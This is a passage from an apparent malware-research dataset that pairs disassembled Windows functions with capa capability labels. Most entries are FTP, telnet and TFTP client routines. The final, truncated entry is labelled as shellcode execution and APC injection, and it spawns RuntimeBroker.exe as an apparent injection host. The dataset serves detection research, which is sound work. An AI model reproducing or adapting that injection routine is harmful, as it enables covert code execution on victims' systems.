joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140091d00
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [str._a_v_]
mov rdi, rax
test rax, rax
je 0x140091d7d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x140091da8
cmp ebx, esi
je 0x140091da8
cmp ebx, 0x8000
ja 0x140091da8
cmp ebx, esi
jb 0x140091da3
mov edx, ebx
mov rcx, rdi
call qword [str._a_v_]
mov rdi, rax
test rax, rax
jne 0x140091d40
mov rcx, rbp
call qword [str._ba_v_]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140091d88
mov rcx, rdi
jmp 0x140091d80

Function at 0x140098180
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400e1098]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400981fa
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14007d120
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14009821f
lea rdx, str.Error_accept__ing_server_connect
call fcn.14007c4c0
lea eax, [rbx + 0x1f]
jmp 0x140098298
lea rdx, str.Connection_accepted_from_server_n
call fcn.14007c640
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.14008aa50
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140098296
mov dl, 1
mov rcx, rsi
call fcn.14006cf20
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.14006cf20
test ebx, ebx
je 0x140098296
mov rcx, rdi
call fcn.1400987b0
mov eax, Ordinal_45
jmp 0x140098298
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400b4cb0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140099290
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x1400992b5
cmp dword [rax + 0x9f8], 0
je 0x1400992e1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400992e1
lea rdx, str.MDTM__s
call fcn.1400b02e0
test eax, eax
jne 0x1400992ee
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009a120
add rsp, 0x20
pop rbx
ret
Function at 0x140099aa0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x140099ad8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140099bf0
cmp byte [rcx + 0xf0e], 0
je 0x140099af0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009a5e0
cmp byte [rcx + 0xf11], 0
je 0x140099b91
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x140099b4b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x140099b2e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400b02e0
test eax, eax
je 0x140099b81
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140099b71
lea rdx, str.PRET_STOR__s
call fcn.1400b02e0
test eax, eax
je 0x140099b81
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400b02e0
test eax, eax
jne 0x140099b9e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009a550
add rsp, 0x20
pop rbx
ret

Function at 0x140099ee0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x140099f2d
cmp qword [rcx + 0xa88], 0
je 0x140099f2d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400b02e0
test eax, eax
jne 0x140099f37
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.140099aa0
add rsp, 0x20
pop rbx
ret

Function at 0x14009a0c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14009a10c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14009a10c
lea rdx, str.SIZE__s
call fcn.1400b02e0
test eax, eax
jne 0x14009a119
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140099ee0
add rsp, 0x20
pop rbx
ret

Function at 0x14009a120
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x14009a178
cmp qword [rcx + 0xa88], 0
je 0x14009a178
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x14009a178
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.1400989c0
jmp fcn.14009a0c0
Function at 0x14009a180
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x14009a1b5
lea rdx, str.Couldnt_set_desired_mode
call fcn.14007c4c0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14009a1cc
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.14007c640
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x14009a1e8
mov rcx, rdi
call fcn.14009a0c0
jmp 0x14009a31f
cmp esi, 0x14
jne 0x14009a301
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x14009a269
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x14009a269
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140065dd0
test eax, eax
jne 0x14009a31f
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14009a25e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x14009a269
mov rcx, qword [rsp + 0x50]
call qword [str._ba_v_]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14009a28d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400c86d6]
test rbp, rbp
mov r9, r8
lea rax, [0x1400ba400]
cmovne r9, rbp
lea rcx, [0x1400be560]
cmovne r8, rax
call fcn.14006ae50
mov rcx, rbp
mov r14, rax
call qword [str._ba_v_]
test r14, r14
jne 0x14009a2cc
lea ebx, [r14 + 0x1b]
jmp 0x14009a321
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400c92c0]
call fcn.1400b02e0
mov rcx, r14
mov esi, eax
call qword [str._ba_v_]
test esi, esi
je 0x14009a2f5
mov ebx, esi
jmp 0x14009a321
mov dword [rdi + 0xab8], 0x1f
jmp 0x14009a321
cmp esi, 0x15
jne 0x14009a30c
lea r8d, [rsi - 8]
jmp 0x14009a315
cmp esi, 0x16
jne 0x14009a321
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.140099bf0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14009fc10
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14009fd34
cmp r8d, 0xff
jne 0x14009fc71
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14009fc5b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xc48b0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14007c640
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14007c640
cmp r8d, 0xfb
jne 0x14009fc83
lea r9, str.WILL
jmp 0x14009fcc1
cmp r8d, 0xfc
jne 0x14009fc95
lea r9, str.WONT
jmp 0x14009fcc1
cmp r8d, 0xfd
jne 0x14009fca7
lea r9, [0x1400c52d4]
jmp 0x14009fcc1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14009fd1d
cmp r10d, 0x27
jg 0x14009fcf4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xc4ed0]
test r8, r8
jne 0x14009fd04
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14007c640
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14009fcdb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14007c640
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14007c640
add rsp, 0x38
ret

Function at 0x1400a0080
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400a00df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007c4c0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14009fc10
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400a0290
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400a0438
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400a02f5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400a02f5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400a02f5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400a032c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400a0382
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a0382
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a0382
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a0382
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a0382
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14009fd40
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400a03e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007c4c0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400a0110
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400a0430
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007c4c0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400a1ba0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400e1098]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400a1c35
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400a1c96
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14007c4c0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400b4cb0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400a1d51
sub ecx, 1
je 0x1400a1dc4
sub ecx, 1
je 0x1400a1d00
cmp ecx, 1
je 0x1400a1ce3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400c92c0]
call fcn.14007c4c0
jmp 0x1400a1dc4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400a18d0
test eax, eax
je 0x1400a1dc4
jmp 0x1400a1c6a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400a1dc4
sub rax, rsi
cmp rax, rbp
jae 0x1400a1dc4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14007c640
jmp 0x1400a1dc4
cmp r8d, 4
jle 0x1400a1dc4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400a1dc4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14007c3e0
mov esi, eax
test eax, eax
je 0x1400a1da3
mov edx, 5
mov rcx, rbx
call fcn.1400a2890
mov eax, esi
jmp 0x1400a1c6a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14008acc0
mov rcx, r14
call fcn.14008afa0
test eax, eax
je 0x1400a1c68
mov edx, 5
mov rcx, rbx
call fcn.1400a2890
mov eax, Ordinal_45
jmp 0x1400a1c6a
Function at 0x1400b4b60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400b4ba2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400b4be9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400b4c42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400b4c00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400b4c83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400c84a2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400c84a3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400b4c50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b5c5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b5ca6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b5ca6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b5ca6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b5ca6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b5ca6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b5ca8
xor al, al
add rsp, 0x28
ret
Function at 0x1400b5ea8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, [0x1400c85f0]
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400b5f2c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400b5f2c
dec r8
sub rdx, 1
jne 0x1400b5f12
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001e50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001eac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ea3
test rsi, rsi
je 0x140001ea3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005ae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002220
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002228
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002220
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000227d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002220
add rax, 0x28
cmp rax, r9
jne 0x140002260
xor eax, eax
ret

Function at 0x140002280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005ae0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000229f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000229f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005ae0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002550
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002a40
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Inject apc

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf0
mov r12, qword [0x140005bb0]
xor r8d, r8d
xor r9d, r9d
mov rax, qword [r12]
mov qword [rsp + 0xe8], rax
xor eax, eax
lea rdi, [rsp + 0x80]
mov rbp, rcx
mov rsi, rdx
lea rdx, str.C:WindowsSystem32RuntimeBroker.exe
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x68]
mov ecx, 6
rep stosd dword [rdi], eax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov dword [rsp + 0x20], r9d
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002ba3
cmp dword [rsp + 0x78], 0
je 0x140002ba3
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002ba3
